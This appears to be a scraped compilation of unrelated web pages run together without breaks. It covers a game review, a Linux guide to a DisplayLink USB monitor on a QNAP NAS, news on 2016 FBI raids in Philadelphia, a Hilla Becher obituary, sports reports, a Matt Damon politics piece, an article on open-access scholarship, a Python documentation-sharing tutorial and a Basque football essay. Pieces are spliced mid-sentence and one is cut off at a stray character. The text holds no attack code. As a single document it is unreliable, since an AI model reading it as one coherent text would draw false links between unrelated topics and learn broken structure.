I hope that League of Geeks takes a serious look at some of these issues in the future, as the game has only just released from early access. Locking away basic gameplay content from paying customers until they have played dozens of hours is unkind. Forcing players of your ranked mode to go outside the game for essential card and rules information or to deal with deliberately obtuse in-game presentation of information is unkind. Not just unkind to players but to the game itself – Armello is clearly a labour of love that has had immense effort put in to it. It, and digital board games as a whole, need designers confident that their game can earn players’ love and time on their own merit.Some times before I posted about how I got this monitor working in Ubuntu How to get Lilliput DisplayLink based USB Monitor UM-70 (17e9:02a9) working in Ubuntu Linux. This post is about DisplayLink’s USB monitor from Lilliput working on QNAP TS-110 home NAS server. The configuration is as below:
Hardware: QNAP TS-110 Home NAS box, UM-70 Lilliput monitor connected to USB Port
Software: Debian GNU/Linux 6.0 (Squeeze) with kernel 2.6.32-5-kirkwood
The idea is to use this NAS server as media display for home. This monitor is configured to display Slide show, a Analog Clock, a monthly Calendar, Weather forecast for 5 days and Quote of the day. Weather forecast uses home internet connection to retrieve live data.
Here is a quick view on what I did to get this monitor working with headless NAS server.
1. Installed Debian 6.0 (Squeeze) with kernel 2.6.32-5-kirkwood.
root@debian:~# uname -a
Linux debian 2.6.32-5-kirkwood #1 Tue Mar 8 10:56:14 UTC 2011 armv5tel GNU/Linux
2. Ensure that udlfb module loaded.
root@debian:~# lsmod | grep udlfb
udlfb 15115 2
fb 38994 5 udlfb
fb_sys_fops 1041 1 udlfb
sysimgblt 1717 1 udlfb
sysfillrect 2836 1 udlfb
syscopyarea 2604 1 udlfb
usbcore 122487 6 snd_usb_audio,snd_usb_lib,usbhid,udlfb,ehci_hcd
Ensure that you get green display when the system is up.
3. Download Displaylink xorg video module (xserver-xorg-video-displaylink_0.3.orig.tar.gz) from Ubuntu repository here.
4. Install the dependent packages to compile the above module.
root@debian:~# apt-get install xinit xserver-xorg xserver-xorg-dev xfonts-base libusb-dev xorg-dev git-core build-essential linux-headers-2.6
5. Extract the downloaded module
root@debian:~# tar zxvf xserver-xorg-video-displaylink_0.3.orig.tar.gz
root@debian:~# cd xf86-video-displaylink/
6. Edit the source code of above module for a small change
Open src/displaylink.c with your favorite editor and comment the following lines:
//#include “xf86Resources.h”
//#include “xf86RAC.h”
// pScrn->racMemFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
// pScrn->racIoFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
// xf86CrtcScreenInit (pScreen);
7. Compile and install this xorg module
root@debian:~#./configure root@debian:~# make && make install
This should install /usr/local/lib/xorg/modules/drivers/displaylink_drv.so
8. Configure the /etc/X11/xorg.conf file as shown below:
################################################# Section “ServerLayout”
Identifier “Server Layout”
Screen 0 “DisplayLinkScreen” 0 0
EndSection ################################################# Section “Files”
ModulePath “/usr/lib/xorg/modules”
ModulePath “/usr/local/lib/xorg/modules”
ModulePath “/usr/local/lib/xorg/modules/drivers”
EndSection ############### DisplayLink Stuff ############### Section “Device”
Identifier “DisplayLinkDevice”
Driver “displaylink”
Option “fbdev” “/dev/fb0”
Option “DPI” “140×140”
EndSection Section “Monitor”
Identifier “DisplayLinkMonitor”
# DisplaySize 152 92
EndSection Section “Screen”
Identifier “DisplayLinkScreen”
Device “DisplayLinkDevice”
Monitor “DisplayLinkMonitor”
SubSection “Display”
Depth 16
Modes “800×480”
EndSubSection
EndSection #################################################
You are done! Now install gdm or kdm or use startx to start your X session and enjoy the power of linux. Here is my media display working on top of fluxbox and gdesklets.
Reference: http://forum.doozan.com/read.php?2,2073,3169,quote=1Very often, startups come into existence by entrepreneurs noticing a gap in the market and taking innovative risks. Businesses are often under the pressure to innovate and seek assistance from these emerging startups. This year, keep an eye out for these five emerging technology startup trends.
Infographic Roundup
In 2015, many new and emerging startups will create a place for themselves in the market.
Big Data. Big data is already being used by 64% of businesses and is expected to explode this year.
Artificial Intelligence. Since its inception, more than 170 startups have incorporated it into their data.
Security. Security continues to be an extremely interesting category for investment. As hackers are becoming more sophisticated, the need for more protection rises.
Mobile. In 2014, there were 1.3 million mobile apps available for download.2 Although the creation of mobile apps is a booming industry, there will be an increased necessity for startups to handle mobile IT and security.
Financial. In 2015, financial startups will be dedicated to making products look and perform better.
About Jordhan Briggs Jordhan Briggs is a content writer and copywriter at Enova International, Inc. dedicated to providing the most informative and useful content about living a rewarding life on a budget. Find out more about her on Google+. Find more about me on:
CommentsPHILADELPHIA (CBS) — The FBI carried out investigations Friday, spanning across several locations throughout Philadelphia.FBI agents seized dozens of cartons of files and computers at International Brotherhood of Electrical Workers Local 98 at 18th and Spring Garden Streets.
Agents carried the cartons labeled “Tax Records,” “Pay Roll” and “Accounting” into a waiting Penske rental truck.
Truck loaded up with tax, pay roll records outside IBEW 98 @KYWNewsradio pic.twitter.com/hqv1H4pgIF — Kim Glovas (@KimGlovas) August 5, 2016
At least two computers were also confiscated.
The raid also included the South Philly homes of the union leader John Dougherty and his family along E. Moyamensing Avenue.
Federal authorities pulled several boxes and a computer.
Fed Investigators probe labor leader, John Dougherty's family home in South Philly. (In white w/ hat) @CBSPhilly pic.twitter.com/fD2EmAHVLX — Alexandria Hoff (@AlexandriaHoff) August 5, 2016
FBI agents pull more stuff out of John Dougherty's house @KYWNewsradio pic.twitter.com/TSkDOWotok — Kristen Johanson (@KristenJohanson) August 5, 2016
Accompanied by family, friends and his attorney on the sidewalk outside, Dougherty said he had no idea what this is about:
“The government has a job to do, let them do their job. I am very comfortable with where we’re at right now, once we get this ugly scenario go by, everything will be fine.”
Johnny Doc brings out some iced tea and donuts for media standing in sun @KYWNewsradio pic.twitter.com/hBVRnfPh0v — Kristen Johanson (@KristenJohanson) August 5, 2016
Doughery says he is cooperating with law enforcement:
“I got the support of everyone, this is what I do day in and day out. I represent working and middle class people, some people don’t like that, that’s what I do.”
A longtime political ally of Dougherty did not appear at a children’s event he organized, as FBI agents raided his office as well.
The only tip that something was going on inside Councilman Bobby Henon’s City Hall office was an FBI agent posted at the door. Ten agents went through Henon’s office for more than five hours.
Meantime, CBS 3 Eyewitness News cameras captured images from a chopper, depicting a brief flurry of activity of men in suits at Henon’s district office on Torresdale Avenue.
That office was closed, with a notice posted about a pop-up play event sponsored by Henon in Fairmount Park. A Henon aide was there, expecting him, but Henon was a no show.
Bobby Henon has been on City Council in 2012. Before that, he was an electrician, working his way up through the union. For a number of years, wherever John Dougherty went, Henon was at his side, as the Political Director of Local 98.
Agents also took a computer and box from Doc’s Union Pub in Pennsport.
The FBI still hasn’t confirmed details about the ongoing investigation. Sources tell CBS 3 there will not be any arrests Friday and officials are only collecting evidence at this time.
Several reporters from KYW Newsradio and CBS 3 contributed to this article…Hilla Becher, best known for her and her late husband’s monochrome typology photographs of industrial Germany and perhaps more importantly the ‘Becher School’ has passed away in Dusseldorf on Saturday at the age of 81.
Instantly recognisable and often presented in large grids Hilla and her husband’s iconic photographs of Gas plants, silos, water towers and other industrial buildings throughout Germany immortalised them forever in photographic history books. Their influence among documentary photographers and artists who value their 1972 collection of pure forms in architecture has transcended generations and will continue to do so.
Without Hilla & Bernd Becher it is unlikely we would have ever got to know many of their ‘Becher School’ disciples who have gone on to carve out incredibly successful international careers themselves, among them include Andreas Gursky and Thomas Ruff.
For those unfamiliar with the Becher’s work, here’s an excerpt from BERND & HILLA BECHER, a 2006 film by Michael Blackwood.
Via Lemonde.fr via Zeit.de.
TFTP Jorg.
AdvertisementsThe Armada FC drew 1-1 against Indy Eleven at Hodges Stadium Saturday
Ronnie Rodgers, ArmadaFC.com | April 29, 2016
FINAL STATS
JACKSONVILE, Fla.- The Armada FC (2W-2D-0L, 8 pts., 1st NASL Spring Season) and Indy Eleven (0W-5D-0L, 4 pts., 6th NASL Spring Season) tied Saturday night at Hodges Stadium one all, in front of 3,122 fans.
Although the game ended with no clear winner, it is essential when looking at the bigger picture because both teams remain unbeaten.
“It’s a great confidence booster. It wasn’t a win, but at least we’re picking up points along the way, and that’ll count at the end of the season,” said Kevan George.
With these two undefeated squads battling, this match was sure an action-packed fight till the end.
After slipping by Caleb Patterson-Sewell, Justin Braun of the Indy Eleven was able to kick the ball into the net. This goal gave Indy Eleven their first advantage of the night in the 25th minute.
Not to be outdone on their home field, Jonathan Glenn nailed a header from Jack Blake to knot things at one during the 30th minute. Section 904 and Hodges Stadium alike erupted with cheers and beating of the drums.
The draw came without the presence Head Coach Mark Lowry, who was suspended for one week after being ejected from the last match against the New York Cosmos. Nathan Walter, Armada FC technical director, helped to fill in on the sidelines.
“That just shows the character of these young men. They work incredibly hard, under the adversity of the game we came up with a big [goal]. We showed the quality we possess, we just didn’t show it enough consistently during the game,” said Nathan Walter, Armada technical director.
Glenn kept the momentum up but barely missed what would have been his second goal of the night. The teams went into halftime tied at one.
After a slew of hard hits and substitutions during the second half, neither team was able to net a second goal to give them the victory. Both sides took one point at the end of the night.
“Going down a goal and coming back shows good adversity.” said Drew Beckie “It’s a bit frustrating with a 1-1 result, we want to see a win…but I’ll build on this and keep going.”
The Armada FC continues a home streak with a match against the New York Cosmos on May 6 at Hodges Stadium. Tickets are on sale now and can be purchased on ArmadaFC.com or by calling 844-2-ARMADA. The Armada FC will also be celebrating School Night Out with a special fireworks show following the match!
Match Report
Starting XI:
JAX (4-2-3-1): Patterson-Sewell, Ryden, Pitchkolan, Beckie, Jérôme, Steinberger (Johnson 63’), Maripuu (Barrow 84’), George, Blake, Banks, Glenn (Gebhard 63')
IND (4-1-2-1-2): Busch, Falvey, Franco, Palmer, Keller, Ring, Henderson (Thompson 67’), Torrado, Ubiparipovic (Goldsmith 88’), Zayed, Braun (Watson-Siriboe ’78)
Scoring Summary:
IND: Braun 25’
JAX: Glenn 30’
Discipline:
IND: Palmer (caution) 71’
IND: Keller (caution) 28’'I no longer hope for audacity': Matt Damon turns against Obama as President loses his celebrity friends
Matt Damon joins growing list of celebrities who are turning their backs on the President
Adds Obama's policies on education to list of grievances
Others have criticised him over issues like gay rights and climate change
It appears the list of Barack Obama's celebrity friends is dwindling.
Actor Matt Damon - who was one of the President's earliest and best-known celebrity supporters during his 2008 campaign - said point blank that he was unhappy with the way the country is being run in an interview with Piers Morgan last night.
He also slammed the President for failing to follow through on many of his campaign promises, particularly on education.
Scroll down for video
Interview: Damon voiced his disappointment over the way Obama has been running the country to Piers Morgan, particularly in terms of education
U-turn: The Oscar winner was a huge and very outspoken fan of Obama during his 2008 presidential campaign but now said he'misinterpreted his mandate'
During the interview on CNN, the actor talked about his feelings on the first two years of Mr Obama's administration, among other things.
When asked if he was happy about the way he is running the country, Damon, without hesitation, said 'no', continuing: 'I really think he misinterpreted his mandate. A friend of mine said to me the other day, which I thought was a great line, "I no longer hope for audacity".
Supporter: The Bourne Identity actor, seen right with an Obama pin on his chest, has withdrawn his support of the President over turning his back on policies
'He's doubled down on a lot of things, going back to education... the idea that we're testing kids and we're tying teachers salaries to how kids are performing on tests, that kind of mechanized thinking has nothing to do with higher order. We're training them, not teaching them.'
During the 2008 Presidential campaign, the actor and Oscar-winning screenwriter was a vocal Obama supporter, campaigning for him at rallies, promoting him through a MoveOn video contest and attending fundraisers for him.
This is not the first time Damon has criticized Obama.
WHAT THEY SAID - BEFORE AND AFTER Matt Damon: 2008: 'It is very important for me to do what I can to help the Obama campaign so people will go out and vote.'
2011: 'I really think he misinterpreted his mandate and has doubled down on a lot of things.' Spike Lee: 2008: 'I’m riding my man Obama. I think he’s a visionary.'
2010: 'He has shown no emotion on the issue, if there is one time to go off this is it!' On his handling of the BP oil spill. Barbra Streisand:
2008: 'Barack has awakened in many of us the notion that we can again be hopeful.' 2010: 'I would have liked to have him use his executive privilege … to get rid of something like "don't ask, don't tell".' Robert Redford
2008: 'Obama embodies the sort of change America needs.' 2010: 'The Gulf disaster is more than a terrible oil spill, it's the product of a failed energy policy... Tell President Obama to lead America toward a clean-energy future.' Hugh Hefner:
2008: 'I'm behind Obama, it's time for a change.' 2010: 'Tell him to get out of the wars. we are going through the same thing as Vietnam right now.'
Last year, the actor told reporters he was 'disappointed' and 'a little let down' by the president's leadership - but he was quick to add that Obama deserved'more time' to work on things.
He also said: 'I'm disappointed in the health care plan and in the troop build up in Afghanistan.
'Everyone feels a little let down because, on some level, people expected all their problems to go away.
'But real change comes from everyday people. You can't wait for a leader.'
Damon is only one more A-lister in a long line of Hollywood stars who have publicly trashed the President on everything from Guantanamo Bay to gay rights.
Barbra Streisand, a prominent Democratic donor, told Larry King that she thought the President should have been more aggressive on certain issues, singling out his slow progress in overturning the 'don't ask, don't tell' ban on gay people serving in the military.
Robert Redford appeared in an ad for the Natural Resources Defence Council urging Mr Obama to show more leadership on energy issues, and in a piece for the Huffington Post, he slammed him for not doing more to press Congress on clean energy.
Glee's Jane Lynch also criticised Obama's handling of gay rights calling him a 'huge disappointment'.
She said: 'We thought the great hope of Obama was going to magically change all that.
'He's just nicely walking the middle.'
Hugh Hefner said he was upset that the President had not done more to end the war in Afghanistan.
He said: 'We're going through the same thing as Vietnam right now. We can't please the world, and all we do is make enemies. We go in with the best possible intentions, but we make enemies.'You hear the question asked near the tail-end of plenty of unhinged Patriots romps: Why on God's green earth is Tom Brady still in the game?
It's a concern coach Bill Belichick has minimal patience for, especially when a reporter asked why the 40-year-old quarterback continued to take snaps with New England up 35-17 over Miami on Sunday with mere minutes to play.
"It's easy for you to sit there and say the game is out of hand," Belichick said, per ESPN. "But if you watch games in the National Football League, a lot can change in a hurry. The only time I think the game is in hand [is] when they're not going to have enough possessions to get the points they need. Sorry, we just see that one totally differently."
Brady absorbed a whopping eight hits by Dolphins defenders in the win. He returned to the field with under five minutes to play, though, to hand the ball off three times as the Patriots "clung" to an 18-point advantage. Following a punt, the Dolphins proceeded to throw a pick before Brady unfurled a trio of kneel-downs to kill the clock.
When Belichick was asked about Brady's late-game playing time, he initially shot back: "What? On the kneel-downs? What difference does it make?"
In the end, it makes none. Belichick -- coaching since the mid 1970s -- isn't about to take cues on gridiron strategy from those who write about the game and come armed with their burning queries once the final whistle blows.
At best, he'll tolerate those questions. At worst, he'll dismiss them like leaves in the Foxborough wind.The moment of truth has arrived for Carmelo Anthony.
Tuesday night, Anthony will be in a place he cherishes. Not Houston, but Baltimore, where he will host The Basketball Tournament — a month-long event that is down to its final four.
Keeping a low profile lately, Anthony will be front and center Tuesday at Coppin State, watching a Syracuse alumni team face Overseas Elite in one semifinal.
In the other, Ohio State alumni, which features Nets target Jared Sullinger, play Team Challenge ALS, a Boston College squad fighting to raise money to support alumnus Pete Frates who is suffering |
open-access initiative—has been gaining strength, making many scholarly publications available to readers free of charge.
Juan Pablo Alperin, an associate professor of publishing studies at Simon Fraser University, in Vancouver, Canada, says 45 percent of the scholarly articles published since 2015 are available free of charge.
But readers in Arab countries have sometimes been hesitant to use free-of-charge open-access scholarly articles. Hanady Geagea, a doctoral candidate at the Lebanese University who is studying the use of open-access scholarship in the Arab region, says the main reason for the slow acceptance of open-access publications by Arab readers is a fear that scholarship that is being given away must be of dubious quality.
“University librarians and professors have a responsibility to change this attitude, and to encourage students to use open access,” Geagea says.
Open-access scholarship is subdivided into different kinds and degrees of free access, from articles that can be downloaded and re-used without restriction, to articles that can be read free of charge only on the publisher’s website and can’t be copied.
The open-access publication model can be compared to the Creative Commons license for creative work that can be freely published and used on the Internet, and to open-source software, which can be freely distributed and used.
There is an advantage to the scholar in publishing in open access: Articles published this way are more likely to be cited than those published with restricted access.
Institutions that support scientific research are increasingly requiring that articles based on work that they have financed be published as open access. These include the Bill & Melinda Gates Foundation, the Wellcome Trust, the European Commission and the National Science Foundation and the National Institutes of Health, both of which are in the United States.
Despite its popularity with those who finance research, open-access material can be hard to find. The landscape of sources is changing constantly, and the researcher needs to persevere in finding pathways through it.
“Open-access articles take different forms and are spread across a lot of different sites,” Alperin said. “The user needs to be a little bit savvy about how to find a free version of an article.”
A new tool to help users find free versions of scholarly articles is Unpaywall, an extension for the Chrome browser. Unpaywall finds open-access versions of articles that the user might first find on a publisher’s website, behind a paywall. Unpaywall doesn’t violate copyright: It directs the user to versions of articles that, in many cases, have been uploaded by the authors themselves. Its creators claim it has a success rate of 50 to 85 percent, depending on the subject of the article the user is looking for.
Some subjects are better represented in open access than others. Biomedical research and mathematics are well represented in open access, while articles in chemistry, engineering and the humanities are more likely to be behind a paywall.
A popular—if questionable—source of free-of-charge academic articles is Sci-Hub. This site is hosted in Russia and makes available more than 62 million academic articles. It does this by using proxy connections to educational institutions and finding ways around publishers’ paywalls. Articles on Sci-Hub are available with little regard to their copyright status, making the site unpopular with many publishers and authors.
In June, a court in the state of New York in the United States ruled that Sci-Hub was guilty of copyright infringement and ordered its owner to pay $15 million in damages to Elsevier, a leading academic publishing company. Sci-Hub is owned and operated by Alexandra Elbakyan, a Kazakh national who lives in Russia. Since Russia is outside the jurisdiction of American courts and Elbakyan has no assets in the United States, it is unlikely that Elsevier will be able to collect this money.
In Arab countries, according to Hanady Geagea, open-access, online publication of academic articles is at an early stage of development. Among the first sites to do this is Shamaa, which publishes articles in Arabic on educational research. Individual universities such as the Lebanese American University and the American University of Beirut often publish the work of their own academic faculty and students online.
Another way for readers to get free access to scholarly articles is through academic social networks. Sites such as Academia.edu and Researchgate.net connect readers with authors. Readers can directly ask authors to send the text of an article.
Juan Pablo Alperin has two tips for users looking for open-access articles. One is to look on publishers’ websites for a free version of an article. Even high-volume, for-profit publishers post a small percentage of articles free of charge. The second is to use Google Scholar to find an article and search within the results for “other versions.” This may turn up an open-access version.
Alperin says that open access is an issue of particular importance to researchers in developing countries, where institutions such as university libraries may not be able to afford subscriptions to journals that their students need.
Other Resources:
There is no definitive list of websites offering open access articles, and their number is increasing, but the following are of interest.
American site publishing scientific papers.
Compendium of open-access online journals of science and humanities.
Site for librarians, in Arabic.
Directory of open access journals.
Netherlands-based site.
Iraqi scientific journals.
Qatar Foundation project publishing open-access articles on science and Islamic studies.Share Documentation Between Classes and Functions in Python
For my open-source project I write a lot of documentation that I then convert into HTML pages. When project grows it’s difficult to support such amount of documentation. Mostly because there are a lot of copy and paste that occur in the code. To resolve this problem I came up with a solution that I call Shared Docs. Before I explain it to you I would like to show you an example of some common problem that happens in the projects that use Python’s documentation.
Problem
Let’s assume that we need to make a small library. This library is supposed to have a bunch of classes that define people with different professions. Some attributes like person’s name are the same for all classes and some are not. The problem is simple, right? Anyone who knows OOP can make this library easily.
For this problem we need to have a class that will be a base class for all others. We can create a class Person which have attributes typical for any person with any profession.
class Person ( object ): """ Person class. Parameters ---------- fullname : str Full name. height : float Height in meters (m). weight : float Weight in kilograms (kg). """ def __init__ ( self, fullname, height, weight ): self. fullname = fullname self. height = height self. weight = weight
Pretty simple, right? We have the class that identifies a person. We even have documentation that describes person’s properties which is very useful, especially for weight and height parameters, because it’s not really clear what units should we use to define these parameters.
>>> john = Person ( fullname = "John Smith", height = 1.8, weight = 90 )
But if anyone checks the documentation the one will find all necessary information there. Let’s have a look.
>>> help(john) Help on Person in module __main__ object: class Person(builtins.object) | Person class. | | Parameters | ---------- | fullname : str | Full name. | height : float | Height in meters (m). | weight : float | Weight in kilograms (kg).
Yep, now it’s clear. Everything is defined in metric units.
So far everything works great. We have a class and documentation for it, so anyone can understand it.
Now we need to make a new class that depends on the Person class. Let it be a Doctor. Doctor is a person, so parameters should be the same as for the Person class.
class Doctor ( Person ): """ Doctor class. Parameters ---------- fullname : str Full name. height : float Height in meters (m). weight : float Weight in kilograms (kg). specialty : list of str Doctor's speciality. """ def __init__ ( self, specialty, * args, ** kwargs ): super ( Doctor, self ). __init__ ( * args, ** kwargs ) self. specialty = specialty
The new class has all the same properties and the old one. In addition, I’ve added a property that defines doctor’s specialty. The other properties remain the same without changes.
For a while everything seems to work great until someone decided that we need to change height and weight properties to the imperial units. Now we need to find all places where we defined these stuff as metric units and change them to imperial units. And it feels very annoying when you work in a big project.
It becomes even worse when your project has deadlines. Things become tough when deadline is approaching. No one wants to waste time on documentation updates, because it takes a lot of time and energy to do that. Adding new features and bug fixing are more important.
Simple and obvious solution is not to write documentation at all, but in some cases it’s important. Especially when the whole team is divided into small groups and each group is responsible for a separate component of the project. In that case other groups might be not familiar well enough with some of the components and documentation that explains parts of the unfamiliar components becomes very useful.
One way to approach these problems is Shared Docs.
Solution: Shared Docs
Python’s documentation is just string and it doesn’t have standardized syntax which means that we need to choose one. Otherwise it will be difficult to identify variables in the documentation. I like NumPy’s documentation style and I use it for all my projects. My Shared Docs implementation works only with NumPy documentation style.
Classes
Let’s rewrite previous example using Shared Docs.
from neupy.core.docs import SharedDocs class Person ( SharedDocs ): """ Person class. Parameters ---------- fullname : str Full name. height : float Height in meters (m). weight : float Weight in kilograms (kg). """ def __init__ ( self, fullname, height, weight ): self. fullname = fullname self. height = height self. weight = weight
The Person class is exactly the same as we have seen before, but now it inherits from the SharedDocs class. So we need to rewrite the Doctor class.
class Doctor ( Person ): """ Doctor class. Parameters ---------- {Person.fullname} {Person.height} {Person.weight} specialty : list of str Doctor's speciality. """ def __init__ ( self, specialty, * args, ** kwargs ): super ( Doctor, self ). __init__ ( * args, ** kwargs ) self. specialty = specialty
This is a place where we start to take an advantage of this approach. As you can see we no longer need to copy and paste the documentation from the parent class. We just reuse it applying simple Python format syntax. In this way it’s also seems clear which methods we reuse and from what class we inherit them.
The other way of doing it is just simply inherit all parameters at once.
class Doctor ( Person ): """ Doctor class. Parameters ---------- {Person.Parameters} specialty : list of str Doctor's speciality. """ def __init__ ( self, specialty, * args, ** kwargs ): super ( Doctor, self ). __init__ ( * args, ** kwargs ) self. specialty = specialty
As you can see I just replaced parameters with one variable that contains all parameters from the Person class. The main point of this variable is to make dynamic updates for the documentation. For instance, if we add a new parameter for the Person class that defines person’s age, we just need to describe it in the Person class and the Doctor class will get it automatically, because it inherits all parameters from the parent class. The main disadvantage is that it’s hard to understand which properties Doctor has when we read documentation from the code. But in other circumstances you will see properly formatted documentation.
>>> help(Doctor) class Doctor(Person) | Doctor class. | | Parameters | ---------- | fullname : str | Full name. | height : float | Height in meters (m). | weight : float | Weight in kilograms (kg). | specialty : list of str | Doctor's speciality.
So far I have only shown instances where we defined parameters, but Shared Docs can parse other variables like Methods and Attributes. Some sections like Warns or Returns are possible to be re-used as well, but in that case you can use entire section and it wouldn’t be possible to divide it into smaller pieces.
Functions
Sometimes it’s also useful to inherit documentation for the functions that have similar behavior. Let’s check another example. Just pretend that we try to build HTML page using python functions and we want to use it like this.
html_page = div ( div ( h1 ( 'Title #1' ), div ( 'Some text' ) ), div ( h1 ( 'Title #2' ), div ( 'Another text' ) ) )
Classes are redundant in this situation, so we can use functions. We can make a simple function that creates any opening and closing tags.
def tag ( name, * inner_tags ): """ Create HTML tag. Parameters ---------- name : str HTML tag name. *inner_tags Children tags. """ return "<{tag_name}>{}</{tag_name}>". format ( ''. join ( inner_tags ), tag_name = name )
This function creates any tag we want. We can create a span tag.
>>> tag ('span', 'Hello world' ) < span > Hello world </ span >
It works, but it’s not a Pythonic way to do it. To make it look better we can define a few functions that will create only a specific tag like h1 or div.
The HTML tag will have pretty much the same input parameters, which means that we need to make the same parameters description in the documentation. Shared Docs can be useful in this situation too. To get the same ability to inherit documentation from other functions we may use shared_docs decorator.
from neupy.core.docs import shared_docs @shared_docs ( tag ) def h1 ( * inner_tags ): """ Create level one header tag. Parameters ---------- {tag.inner_tags} """ return tag ( 'h1', * inner_tags ) @shared_docs ( tag ) def div ( * inner_tags ): """ Create div tag. Parameters ---------- {tag.inner_tags} """ return tag ( 'div', * inner_tags )
And if we check documentation for the one of the classes we will see that everything is formatted properly.
>>> help(div) Help on function div in module __main__: div(*inner_tags) Create div tag. Parameters ---------- *inner_tags Children tags.
Documentation has exactly the same syntax as classes. The only main difference is that currently function can inherit just from a single function. It won’t work if you try to wrap function with multiple decorators.
Source Code
The main code is available at GitHub in the NeuPy repository. It’s pretty simple and almost a standalone script. One dependency is a AttributeKeyDict class which is really small.
All code from the article you can find in iPython Notebook
Please enable JavaScript to view the comments powered by Disqus.I’d just got back from the Basque derby between Real Sociedad and Eibar, jumping off the late bus with my neighbour and scout Vicente Biurrun into the fangs of a howling gale. Biurrun is an ex-professional – and suitably prepared for inclement weather as all good goalies are, he’d opened his brolly into the gale and beckoned me into its protection, but the wind got the better of the situation and almost wrenched it out of his large keeper’s hands. Biurrun packed in the game in 1995, the year my son was born, a year that produced an extraordinary crop of midfield players in the Gipuzkoa region of the Basque Country, several of whom are now playing at the top level. Another of this crop had just made his debut, coming on for Eibar in the 60th minute, replacing Kike with the score at 3-0 to Sociedad.
As we dodged under awnings and outcrops to avoid the sheets of cold rain, I asked him what he thought of the kid’s debut. ‘He did well’ he replied. ‘Kept it simple, balanced the middle more and kicked hell out of Illarramendi, ha ha. Eibar improved when he came on, and Real lost control of the ball.’ I shouted out my agreement into the wind, adding that when he’d come on, I’d got quietly weepy. The player, Imanol Sarriegi, was making his league debut in the top flight, but the moment brought to bear the strangeness of perspective in sport –since for most of the watching public and those on television it was just another substitute – but for a certain group of people the moment couldn’t have been more special, given the strangely emotional framework that surrounds football.
Way back in the mists of time, 2004 to be precise, my son and Sarriegi were spotted playing for the school team in San Sebastián, at the tender age of nine. Real Sociedad’s feeder team, Antiguoko, had a certain reputation in Spain by that time, having produced Xabi Alonso, Mikel Arteta, Aritz Aduriz, Andoni Iraola, Javi de Pedro and many more full-time pros, and if they came in for your kid, it was tricky to say no – despite the reputation of the fearsome training regime and a certain hard-nosed attitude towards discarding players along the way. The vintage of 1995 was a particularly good one, and my son duly turned up to measure himself against the best of the local scene, albeit at a ridiculously tender age. His friend Sarriegi failed to show, and when I enquired at the school the same week, it transpired that his father thought it was too soon, and that he preferred him to play basketball anyway.
I was impressed that he’d resisted the Sirens’ call, whilst I’d had no hesitation in untying my son from the mast and letting him swim away to the island. Five years passed and Sarriegi retained his low profile, finally joining Antiguoko as a defensive midfielder, still unknown to the local public. That’s him looking cross (below left) with my son Harry (centre), playing for Antiguoko in 2010 in deepest Bilbao.
After that, his upward progress was swift –signing for Real Sociedad and playing for their youth sides until he was 18, at which point he was surprisingly discarded. He embarked on a brave attempt to prove his detractors wrong, wandering off to play for Mallorca B, Peña Sport and finally CD Vitoria, subsidised by Eibar as their new feeder team, after so many years of being used by the bigger local clubs for the same purposes. Xabi Alonso and David Silva were just two famous figures farmed out to Eibar to toughen them up, in the days before the club made their fairytale step-up to the big time.
Extraordinary then, that Sarriegi should make his debut in Anoeta, against the side that discarded him, four years before. With Dani Garcia suspended and Gonzalo Escalante injured, he got his chance, albeit starting on the bench. When he came on in the 60th minute, all I could see was the skinny kid who’d played with my son, who’d been the artifice of the ragged-arsed class team that asked me to coach them in an international tournament, that we almost won and which I wrote about on ESPN some years ago. Sarriegi is the ‘another kid’ from the first paragraph, who ended the tournament with a torn hamstring.
On Sunday night, as he intercepted a pass from Diego Llorente and set up a counter for Eibar, it struck me that we never lose this sense of wonder about sport, about the way it can lift you or drift you, depending on circumstances and how we deal with them, of course. So many people just give up, or simply don’t have the means to carry on trying, and we never get to hear about them. There are thousands of silent tragedies in sport, partly because we ascribe so much importance to it, but also because so many people genuinely feel that they have a chance, but then don’t make it. Whether it’s an indecent fantasy or not, many of us have had that indulgent little dream, only to have to shrug our ways into a future that didn’t quite conform to our little secret – which is why it’s so powerful when someone you know steps up and nails it, particularly after having a series of setbacks that must have eaten at their self-belief. And whilst there is still no guarantee that this latest debutant will even secure a full-time contract at the end of this season, at least he’s had his 15 minutes of fame, as Andy Warhol put it.
Well – he actually got 30 minutes out of the game, and helped Eibar to pull a goal back, although the 3-1 defeat leaves them hovering dangerously above the relegation places. The win pushed Real Sociedad back up into 7th spot and confirmed that they could still be a force to be reckoned with this season. Adnan Januzaj, the man with the unpronounceable surname, finally got onto the scoresheet and was the more obvious focus of attention during the game. The ex-Manchester United man, also from the crop of 1995 and thus the same age as Sarriegi, has nonetheless lived a very different professional experience so far, indulged from an early age and told incessantly that he was the next big thing – to the extent that he has never really been able to just be himself, pounded by the weight of expectation and criticised for having an allegedly poor attitude. As Bowie remarked, ‘Fame – what you get is no tomorrow’.
It’s the other side of the coin. Sarriegi now sees a slope to climb, with the horizon full of possibilities. Januzaz, at the same age, is at the bottom of the slippery slope and has just got up off his arse, if you’ll excuse the expression. Strange how two such distinct destinies can meet in the same game, and you’d never really know. Nevertheless, the Belgian is clearly an extraordinary talent. Real Sociedad took a risk on him, especially after the player’s failure to shine at Sunderland last season, but there’s a sense that the Spanish game suits his guile better, as does the patient possession game that Real Sociedad are perfecting. Spanish players seem to be more on his wavelength, and vice-versa. His ability to beat a man from a slow standing position, and his range of passing are quite extraordinary. He has an obvious problem with finishing, which is why Sunday’s goal (although he almost missed it) will do him good. He panics defenders into mistakes, and conjures danger out of nothing. The Anoeta public are starting to take to him, and you can see that he’s enjoying being liked again. Confidence eh? Think Peter Pan. ‘The moment you doubt whether you can fly, you cease for ever to be able to do it.’
I don’t think Januzaj doubts that he can fly, or Sarriegi for that matter. But there have been moments when others clearly did doubt them. To see them both playing at the top level on Sunday night, one already accustomed to fame and the other newly wriggling his toes into its shifting sands, you couldn’t help but conclude that football may be civilisation’s greatest achievement so far, apart from sliced bread of course.Republican candidate for governor Ed Gillespie won a tight nomination race in Virginia Tuesday. (Astrid Riecken, Washington Post/Getty Images)
Ed Gillespie begins his general election campaign for the Virginia governorship as a tottering Republican nominee, rattled by a razor-thin primary victory that exposed sharp fault lines in a party still wrestling with a mutinous tide of anti-establishment fervor that was punctuated last fall by the election of President Donald Trump.
It wasn't supposed to be this way.
The shortsighted assumption heading into Tuesday night's primary in the Old Dominion State was that it would showcase a recovering and divided Democratic Party, which was forced to choose between a moderate lieutenant governor rooted in the firmament of the party and a liberal insurgent attempting to usher in a more progressive posture.
But the highly tracked race between Ralph Northam and Tom Perriello was not even close.
